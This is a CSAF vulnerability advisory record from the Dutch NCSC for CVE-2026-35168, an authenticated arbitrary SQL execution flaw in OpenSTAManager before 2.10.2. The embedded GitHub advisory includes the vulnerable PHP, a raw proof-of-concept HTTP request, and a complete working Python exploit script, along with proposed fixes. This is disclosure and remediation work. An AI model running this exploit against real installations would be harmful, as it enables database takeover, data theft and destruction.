{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-35168",
        "tracking": {
            "current_release_date": "2026-04-03T15:30:37.986411Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-35168",
            "initial_release_date": "2026-04-02T14:27:27.490519Z",
            "revision_history": [
                {
                    "date": "2026-04-02T14:27:27.490519Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-04-02T14:27:29.968910Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-04-02T14:38:39.827925Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-04-02T14:38:41.857493Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-04-02T17:40:23.569169Z",
                    "number": "5",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-04-03T04:39:42.525443Z",
                    "number": "6",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (5).| CWES updated (1)."
                },
                {
                    "date": "2026-04-03T04:39:46.480282Z",
                    "number": "7",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-04-03T15:30:35.168771Z",
                    "number": "8",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-04-03T15:30:37.192430Z",
                    "number": "9",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "9"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<2.10.2",
                                "product": {
                                    "name": "vers:unknown/<2.10.2",
                                    "product_id": "CSAFPID-5984839"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "openstamanager"
                    }
                ],
                "category": "vendor",
                "name": "devcode-it"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-35168",
            "cwe": {
                "id": "CWE-89",
                "name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "OpenSTAManager is an open source management software for technical assistance and invoicing. Prior to version 2.10.2, the Aggiornamenti (Updates) module in OpenSTAManager contains a database conflict resolution feature (op=risolvi-conflitti-database) that accepts a JSON array of SQL statements via POST and executes them directly against the database without any validation, allowlist, or sanitization. An authenticated attacker with access to the Aggiornamenti module can execute arbitrary SQL statements including CREATE, DROP, ALTER, INSERT, UPDATE, DELETE, SELECT INTO OUTFILE, and any other SQL command supported by the MySQL server. Foreign key checks are explicitly disabled before execution (SET FOREIGN_KEY_CHECKS=0), further reducing database integrity protections. This issue has been patched in version 2.10.2.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-35168"
                },
                {
                    "category": "description",
                    "text": "OpenSTAManager is an open source management software for technical assistance and invoicing. Prior to version 2.10.2, the Aggiornamenti (Updates) module in OpenSTAManager contains a database conflict resolution feature (op=risolvi-conflitti-database) that accepts a JSON array of SQL statements via POST and executes them directly against the database without any validation, allowlist, or sanitization. An authenticated attacker with access to the Aggiornamenti module can execute arbitrary SQL statements including CREATE, DROP, ALTER, INSERT, UPDATE, DELETE, SELECT INTO OUTFILE, and any other SQL command supported by the MySQL server. Foreign key checks are explicitly disabled before execution (SET FOREIGN_KEY_CHECKS=0), further reducing database integrity protections. This issue has been patched in version 2.10.2.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/35xxx/CVE-2026-35168.json"
                },
                {
                    "category": "description",
                    "text": "## Description\n\nThe Aggiornamenti (Updates) module in OpenSTAManager <= 2.10.1 contains a database conflict resolution feature (`op=risolvi-conflitti-database`) that accepts a JSON array of SQL statements via POST and executes them directly against the database without any validation, allowlist, or sanitization.\n\nAn authenticated attacker with access to the Aggiornamenti module can execute arbitrary SQL statements including `CREATE`, `DROP`, `ALTER`, `INSERT`, `UPDATE`, `DELETE`, `SELECT INTO OUTFILE`, and any other SQL command supported by the MySQL server. Foreign key checks are explicitly disabled before execution (`SET FOREIGN_KEY_CHECKS=0`), further reducing database integrity protections.\n\n## Affected Code\n\n**File:** `modules/aggiornamenti/actions.php`, lines 40-82\n\n```php\ncase 'risolvi-conflitti-database':\n    $queries_json = post('queries');                    // Line 41: User input from POST\n    // ...\n    $queries = json_decode($queries_json, true);        // Line 50: JSON decoded to array\n    // ...\n    $dbo->query('SET FOREIGN_KEY_CHECKS=0');            // Line 69: FK checks DISABLED\n\n    $errors = [];\n    $executed = 0;\n\n    foreach ($queries as $query) {\n        try {\n            $dbo->query($query);                        // Line 76: DIRECT EXECUTION\n            ++$executed;\n        } catch (Exception $e) {\n            $errors[] = $query.' - '.$e->getMessage();  // Line 79: Error details leaked\n        }\n    }\n    $dbo->query('SET FOREIGN_KEY_CHECKS=1');            // Line 82: FK checks re-enabled\n```\n\n### Key Issues\n\n1. **No query validation:** The SQL statements from user input are executed directly via `$dbo->query()` without any validation or filtering.\n2. **No allowlist:** There is no restriction on which SQL commands are permitted (e.g., only `ALTER TABLE` or `CREATE INDEX`).\n3. **Foreign key checks disabled:** `SET FOREIGN_KEY_CHECKS=0` is executed before the user queries, allowing data integrity violations.\n4. **Error message leakage:** Exception messages containing database structure details are returned in the JSON response (line 79).\n5. **No authorization check:** The action only requires module-level access, with no additional authorization for this destructive operation.\n\n## Root Cause Analysis\n\n### Data Flow\n\n1. Attacker sends POST request to `/editor.php?id_module=<Aggiornamenti_ID>` with `op=risolvi-conflitti-database` and `queries=[\"<arbitrary SQL>\"]`\n2. `editor.php` includes `actions.php` (root), which checks module permission (`$structure->permission == 'rw'`) at line 472\n3. Root `actions.php` includes the module's `actions.php` at line 489\n4. `modules/aggiornamenti/actions.php` reads the `queries` POST parameter (line 41)\n5. JSON-decodes it into an array of strings (line 50)\n6. Iterates over each string and executes it as a SQL query via `$dbo->query()` (line 76)\n\n### Why This Is Exploitable\n\n- The feature is intended for resolving database schema conflicts during updates\n- However, there is no restriction on what SQL can be executed\n- Any authenticated user with `rw` permission on the Aggiornamenti module can exploit this\n- The default admin account always has access to this module\n\n## Proof of Concept\n\n### Prerequisites\n\n- A valid user account with access to the Aggiornamenti module\n\n### Step 1: Authenticate\n\n```\nPOST /index.php HTTP/1.1\nHost: <target>\nContent-Type: application/x-www-form-urlencoded\n\nop=login&username=<user>&password=<pass>\n```\n\nSave the `PHPSESSID` cookie.\n\n### Step 2: Detect Aggiornamenti Module ID\n\nNavigate to the application dashboard and inspect the sidebar links. The Aggiornamenti module URL contains `id_module=<ID>`. Default value in a standard installation: `6`.\n\n### Step 3: Execute Arbitrary SQL\n\n**Request (captured in Burp Suite):**\n\n```\nPOST /editor.php?id_module=6&id_record=6 HTTP/1.1\nHost: 127.0.0.1:8888\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nAccept-Encoding: gzip, deflate, br\nAccept: */*\nConnection: keep-alive\nCookie: PHPSESSID=6a1a8ab261f8d93c6e21d2ee566c17a5\nContent-Type: application/x-www-form-urlencoded\n\nop=risolvi-conflitti-database&queries=%5B%22DROP+TABLE+IF+EXISTS+poc_vuln04_verify%22%2C+%22CREATE+TABLE+poc_vuln04_verify+%28id+INT+AUTO_INCREMENT+PRIMARY+KEY%2C+proof+VARCHAR%28255%29%2C+ts+TIMESTAMP+DEFAULT+CURRENT_TIMESTAMP%29%22%2C+%22INSERT+INTO+poc_vuln04_verify+%28proof%29+VALUES+%28%27CVE_PROOF_arbitrary_sql_execution%27%29%22%5D\n```\n\nThe URL-decoded `queries` parameter is:\n\n```json\n[\n  \"DROP TABLE IF EXISTS poc_vuln04_verify\",\n  \"CREATE TABLE poc_vuln04_verify (id INT AUTO_INCREMENT PRIMARY KEY, proof VARCHAR(255), ts TIMESTAMP DEFAULT CURRENT_TIMESTAMP)\",\n  \"INSERT INTO poc_vuln04_verify (proof) VALUES ('CVE_PROOF_arbitrary_sql_execution')\"\n]\n```\n\nThree arbitrary SQL statements are sent: `DROP TABLE`, `CREATE TABLE`, and `INSERT INTO` — demonstrating full control over the database.\n\n**Response (captured in Burp Suite):**\n\nThe server responds with HTTP 200 and the following JSON response confirming successful execution of all 3 queries:\n\n```json\n{\"success\":true,\"message\":\"Tutte le query sono state eseguite con successo (3 query).<br><br>Query eseguite:<br>DROP TABLE IF EXISTS poc_vuln04_verify<br>CREATE TABLE poc_vuln04_verify (id INT AUTO_INCREMENT PRIMARY KEY, proof VARCHAR(255), ts TIMESTAMP DEFAULT CURRENT_TIMESTAMP)<br>INSERT INTO poc_vuln04_verify (proof) VALUES ('CVE_PROOF_arbitrary_sql_execution')\",\"flash_message\":true}\n```\n\n<img width=\"1490\" height=\"355\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f0df5dd9-4ede-4503-8e00-58c47f2cd06a\" />\n\n\n### Step 4: Verify Execution\n\nThe table `poc_vuln04_verify` was created in the database with the inserted data, confirming that arbitrary SQL was executed. The server confirms: `\"Tutte le query sono state eseguite con successo (3 query).\"`\n\n### Observed Results\n\n| Action | Result |\n|---|---|\n| `DROP TABLE IF EXISTS` | Table dropped successfully |\n| `CREATE TABLE` | Table created successfully |\n| `INSERT INTO` | Data inserted |\n| `SELECT VERSION()` (via INSERT...SELECT) | MySQL version extracted: `8.3.0` |\n| Server confirmation | `\"success\":true` with query count |\n| Execution with admin user | Success |\n| Execution with non-admin user (Tecnici group with module access) | Success |\n\n### Exploit\n\n```\npython3 poc_sql.py -t http://<target>:8888 -u admin -p admin\n```\n\n```python\n#!/usr/bin/env python3\n\nimport argparse\nimport json\nimport re\nimport sys\nimport urllib3\n\nimport requests\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\nDEFAULT_HEADERS = {\n    \"User-Agent\": (\n        \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) \"\n        \"AppleWebKit/537.36 (KHTML, like Gecko) \"\n        \"Chrome/120.0.0.0 Safari/537.36\"\n    ),\n}\n\n\ndef parse_args():\n    p = argparse.ArgumentParser(\n        description=\"OpenSTAManager <= 2.10.1 — Arbitrary SQL Exec in Aggiornamenti (PoC)\",\n        formatter_class=argparse.RawDescriptionHelpFormatter,\n        epilog=(\n            \"Examples:\\n\"\n            \"  %(prog)s -t http://target:8888 -u admin -p admin\\n\"\n            \"  %(prog)s -t http://target:8888 -u admin -p admin --proxy http://127.0.0.1:8080\\n\"\n            \"  %(prog)s -t http://target:8888 -u admin -p admin --module-id 6\\n\"\n        ),\n    )\n    p.add_argument(\"-t\", \"--target\", required=True, help=\"Base URL (e.g. http://host:port)\")\n    p.add_argument(\"-u\", \"--username\", required=True, help=\"Valid username for authentication\")\n    p.add_argument(\"-p\", \"--password\", required=True, help=\"Password for authentication\")\n    p.add_argument(\n        \"--proxy\",\n        default=None,\n        help=\"HTTP proxy (e.g. http://127.0.0.1:8080 for Burp Suite)\",\n    )\n    p.add_argument(\n        \"--module-id\",\n        type=int,\n        default=None,\n        help=\"Aggiornamenti module ID (auto-detected if omitted)\",\n    )\n    p.add_argument(\n        \"--verify-only\",\n        action=\"store_true\",\n        help=\"Only verify the vulnerability, do not extract data\",\n    )\n    return p.parse_args()\n\n\nclass OSMExploit:\n    def __init__(self, args):\n        self.target = args.target.rstrip(\"/\")\n        self.username = args.username\n        self.password = args.password\n        self.module_id = args.module_id\n        self.session = requests.Session()\n        self.session.headers.update(DEFAULT_HEADERS)\n        self.session.verify = False\n\n        if args.proxy:\n            self.session.proxies = {\"http\": args.proxy, \"https\": args.proxy}\n\n        self.request_count = 0\n\n    def login(self):\n        info(\"Authenticating as '%s'...\" % self.username)\n\n        # First GET to obtain a valid session cookie\n        self.session.get(f\"{self.target}/index.php\")\n        self.request_count += 1\n\n        r = self.session.post(\n            f\"{self.target}/index.php\",\n            data={\"op\": \"login\", \"username\": self.username, \"password\": self.password},\n            allow_redirects=False,\n        )\n        self.request_count += 1\n\n        if r.status_code != 302:\n            fail(\"Login failed (HTTP %d). Check credentials.\" % r.status_code)\n            return False\n\n        location = r.headers.get(\"Location\", \"\")\n\n        # Success redirects to controller.php; failure redirects back to index.php\n        if \"controller.php\" in location:\n            success(\"Authenticated successfully.\")\n            # Follow redirect to establish full session\n            self.session.get(f\"{self.target}/{location.lstrip('/')}\", allow_redirects=True)\n            self.request_count += 1\n            return True\n\n        # If redirected back to index.php, the login failed\n        # Common causes: wrong credentials, brute-force lockout, or active session token\n        fail(\"Login failed — redirected to '%s'.\" % location)\n        fail(\"Possible causes:\")\n        fail(\"  1. Wrong credentials\")\n        fail(\"  2. Brute-force lockout (wait 3 min or clear zz_logs)\")\n        fail(\"  3. Active session token (another session is open)\")\n        fail(\"  Tip: clear the token with SQL: UPDATE zz_users SET session_token=NULL WHERE username='%s';\" % self.username)\n        return False\n\n    def detect_module_id(self):\n        if self.module_id is not None:\n            info(\"Using provided module ID = %d\" % self.module_id)\n            return True\n\n        info(\"Auto-detecting Aggiornamenti module ID...\")\n        # Search for the module ID in the navigation HTML\n        r = self.session.get(f\"{self.target}/index.php\", allow_redirects=True)\n        self.request_count += 1\n\n        # Look for sidebar link: <a href=\"/controller.php?id_module=6\" ...>...<p>Aggiornamenti</p>\n\n        matches = re.findall(r'id_module=(\\d+)\"[^<]*<[^<]*<[^<]*Aggiornamenti', r.text)\n        if matches:\n            self.module_id = int(matches[0])\n            success(\"Aggiornamenti module ID = %d\" % self.module_id)\n            return True\n\n        # Secondary pattern: data-id attribute near Aggiornamenti text\n        matches = re.findall(r'data-id=\"(\\d+)\"[^<]*onclick[^<]*id_module=\\d+[^<]*<[^<]*<[^<]*<[^<]*Aggiornamenti', r.text)\n        if matches:\n            self.module_id = int(matches[0])\n            success(\"Aggiornamenti module ID = %d\" % self.module_id)\n            return True\n\n        # Fallback: try common IDs\n        for test_id in [6, 7, 8, 5, 4]:\n            r = self.session.get(\n                f\"{self.target}/controller.php?id_module={test_id}\",\n                allow_redirects=True,\n            )\n            self.request_count += 1\n            if \"Aggiornamenti\" in r.text or \"aggiornamenti\" in r.text.lower():\n                self.module_id = test_id\n                success(\"Aggiornamenti module ID = %d\" % test_id)\n                return True\n\n        fail(\"Could not detect Aggiornamenti module ID. Use --module-id N.\")\n        return False\n\n    def execute_sql(self, queries):\n        \"\"\"Execute arbitrary SQL via risolvi-conflitti-database.\"\"\"\n        r = self.session.post(\n            f\"{self.target}/editor.php?id_module={self.module_id}&id_record={self.module_id}\",\n            data={\n                \"op\": \"risolvi-conflitti-database\",\n                \"queries\": json.dumps(queries),\n            },\n        )\n        self.request_count += 1\n        return r\n\n    def verify(self):\n        marker_table = \"poc_vuln04_verify\"\n        marker_value = \"CVE_PROOF_arbitrary_sql_execution\"\n\n        info(\"Step 1: Creating marker table via arbitrary SQL execution...\")\n        queries = [\n            f\"DROP TABLE IF EXISTS {marker_table}\",\n            f\"CREATE TABLE {marker_table} (id INT AUTO_INCREMENT PRIMARY KEY, proof VARCHAR(255), ts TIMESTAMP DEFAULT CURRENT_TIMESTAMP)\",\n            f\"INSERT INTO {marker_table} (proof) VALUES ('{marker_value}')\",\n        ]\n        r = self.execute_sql(queries)\n        info(\"Response: HTTP %d\" % r.status_code)\n\n        info(\"Step 2: Verifying marker table exists by reading it back...\")\n        # Use a second query to read the data via a UNION or time-based approach\n        # Since we can execute arbitrary SQL, we can verify by creating another\n        # marker and checking via a SELECT INTO approach\n        verify_queries = [\n            f\"INSERT INTO {marker_table} (proof) VALUES (CONCAT('verified_', (SELECT VERSION())))\",\n        ]\n        r2 = self.execute_sql(verify_queries)\n\n        # The JSON response may be embedded within HTML (editor.php renders the full page\n        # after executing the action). Extract JSON from the response body.\n\n        for resp in [r, r2]:\n            # Try parsing as pure JSON first\n            try:\n                data = resp.json()\n                if data.get(\"success\"):\n                    success(\"SQL EXECUTION CONFIRMED! Server accepted and executed arbitrary SQL.\")\n                    success(\"Marker table '%s' created with proof value.\" % marker_table)\n                    info(\"Response: %s\" % data.get(\"message\", \"\")[:200])\n                    return True\n            except (ValueError, KeyError):\n                pass\n\n            # Extract embedded JSON from HTML response\n            json_match = re.search(r'\\{\"success\"\\s*:\\s*true\\s*,\\s*\"message\"\\s*:\\s*\"([^\"]*)\"', resp.text)\n            if json_match:\n                success(\"SQL EXECUTION CONFIRMED! Server accepted and executed arbitrary SQL.\")\n                success(\"Marker table '%s' created with proof value.\" % marker_table)\n                info(\"Server message: %s\" % json_match.group(1)[:200])\n                return True\n\n            # Check for query execution indicators in response\n            if \"query sono state eseguite\" in resp.text or \"query eseguite\" in resp.text.lower():\n                success(\"SQL EXECUTION CONFIRMED! Server reports queries were executed.\")\n                return True\n\n        fail(\"Could not verify SQL execution. Check target manually.\")\n        fail(\"Tip: use --module-id N if auto-detection failed.\")\n        return False\n\n    def cleanup(self):\n        info(\"Cleaning up marker tables...\")\n        self.execute_sql([\"DROP TABLE IF EXISTS poc_vuln04_verify\"])\n        self.execute_sql([\"DROP TABLE IF EXISTS poc_vuln04_marker\"])\n        self.execute_sql([\"DROP TABLE IF EXISTS poc_vuln04_tecnico\"])\n        success(\"Cleanup complete.\")\n\n\n# ── Output helpers ──────────────────────────────────────────────────\n\ndef info(msg):\n    print(f\"\\033[34m[*]\\033[0m {msg}\")\n\ndef success(msg):\n    print(f\"\\033[32m[+]\\033[0m {msg}\")\n\ndef fail(msg):\n    print(f\"\\033[31m[-]\\033[0m {msg}\")\n\n\n# ── Main ────────────────────────────────────────────────────────────\n\ndef main():\n    args = parse_args()\n    exploit = OSMExploit(args)\n\n    if not exploit.login():\n        sys.exit(1)\n\n    if not exploit.detect_module_id():\n        sys.exit(1)\n\n    print()\n    info(\"=== Vulnerability Verification ===\")\n    if not exploit.verify():\n        sys.exit(1)\n\n    print()\n    info(\"=== Cleanup ===\")\n    exploit.cleanup()\n\n    print()\n    success(\"Verification complete. %d HTTP requests sent.\" % exploit.request_count)\n    info(\n        \"All traffic was sent through the configured proxy.\"\n        if args.proxy\n        else \"Tip: use --proxy http://127.0.0.1:8080 to capture in Burp Suite.\"\n    )\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n## Impact\n\n- **Confidentiality:** Complete database exfiltration — credentials, PII, financial data, configuration secrets.\n- **Integrity:** Full control over all database tables — insert, update, delete any record. An attacker can create new admin accounts, modify financial records, or plant backdoors.\n- **Availability:** An attacker can `DROP` critical tables, corrupt data, or execute resource-intensive queries to cause denial of service.\n- **Potential Remote Code Execution:** Depending on MySQL server configuration, an attacker may be able to use `SELECT ... INTO OUTFILE` to write arbitrary files to the server filesystem, or use MySQL UDF (User Defined Functions) to execute operating system commands.\n\n## Proposed Remediation\n\n### Option A: Remove Direct Query Execution (Recommended)\n\nReplace the arbitrary SQL execution with a predefined set of safe operations. The conflict resolution feature should only execute queries that were generated by the application itself, not user-supplied SQL:\n\n```php\ncase 'risolvi-conflitti-database':\n    $queries_json = post('queries');\n    $queries = json_decode($queries_json, true);\n\n    if (empty($queries)) {\n        echo json_encode(['success' => false, 'message' => tr('Nessuna query ricevuta.')]);\n        break;\n    }\n\n    // ALLOWLIST: Only permit specific safe SQL patterns\n    $allowed_patterns = [\n        '/^ALTER\\s+TABLE\\s+`?\\w+`?\\s+(ADD|MODIFY|CHANGE|DROP)\\s+/i',\n        '/^CREATE\\s+INDEX\\s+/i',\n        '/^DROP\\s+INDEX\\s+/i',\n        '/^UPDATE\\s+`?zz_views`?\\s+SET\\s+/i',\n        '/^INSERT\\s+INTO\\s+`?zz_/i',\n    ];\n\n    $safe_queries = [];\n    $rejected = [];\n\n    foreach ($queries as $query) {\n        $is_safe = false;\n        foreach ($allowed_patterns as $pattern) {\n            if (preg_match($pattern, trim($query))) {\n                $is_safe = true;\n                break;\n            }\n        }\n\n        if ($is_safe) {\n            $safe_queries[] = $query;\n        } else {\n            $rejected[] = $query;\n        }\n    }\n\n    if (!empty($rejected)) {\n        echo json_encode([\n            'success' => false,\n            'message' => tr('Query non permesse rilevate. Operazione bloccata.'),\n        ]);\n        break;\n    }\n\n    // Execute only validated queries\n    foreach ($safe_queries as $query) {\n        $dbo->query($query);\n    }\n    // ...\n```\n\n### Option B: Server-Side Query Generation\n\nInstead of accepting raw SQL from the client, have the client send operation descriptors and generate the SQL on the server:\n\n```php\ncase 'risolvi-conflitti-database':\n    $operations = json_decode(post('operations'), true);\n\n    foreach ($operations as $op) {\n        switch ($op['type']) {\n            case 'add_column':\n                $table = preg_replace('/[^a-zA-Z0-9_]/', '', $op['table']);\n                $column = preg_replace('/[^a-zA-Z0-9_]/', '', $op['column']);\n                $type = preg_replace('/[^a-zA-Z0-9_() ]/', '', $op['datatype']);\n                $dbo->query(\"ALTER TABLE `{$table}` ADD COLUMN `{$column}` {$type}\");\n                break;\n            // ... other safe operations\n        }\n    }\n```\n\n### Option C: Restrict Access (Minimum Mitigation)\n\nAt minimum, restrict this operation to admin-only users:\n\n```php\ncase 'risolvi-conflitti-database':\n    if (!auth_osm()->getUser()->is_admin) {\n        echo json_encode(['success' => false, 'message' => tr('Accesso negato.')]);\n        break;\n    }\n    // ... existing code\n```\n\n**Note:** This alone is insufficient because even admin accounts can be compromised, and the feature still allows arbitrary SQL execution.\n\n### Additional Recommendations\n\n1. **Remove `SET FOREIGN_KEY_CHECKS=0`**: Foreign key checks should never be disabled based on user-initiated actions.\n2. **Sanitize error output**: Exception messages at line 79 leak database structure information. Replace with generic error messages.\n3. **Add CSRF protection**: Ensure the endpoint validates a CSRF token to prevent cross-site request forgery attacks.\n4. **Audit logging**: Log the actual SQL queries being executed (already partially implemented) but also log the requesting user's IP address and session.\n\n## Credits\nOmar Ramirez",
                    "title": "github - https://api.github.com/advisories/GHSA-2fr7-cc4f-wh98"
                },
                {
                    "category": "other",
                    "text": "0.00061",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "3.8",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "Is related to (a version of) an uncommon product, There is cwe data available from source Nvd",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5984839"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-35168"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/35xxx/CVE-2026-35168.json"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-2fr7-cc4f-wh98"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/devcode-it/openstamanager/commit/43970676bcd6636ff8663652fd82579f737abb74"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/devcode-it/openstamanager/releases/tag/v2.10.2"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-2fr7-cc4f-wh98"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35168"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-2fr7-cc4f-wh98"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
                        "baseScore": 8.8,
                        "baseSeverity": "HIGH"
                    },
                    "products": [
                        "CSAFPID-5984839"
                    ]
                }
            ],
            "title": "CVE-2026-35168"
        }
    ]
}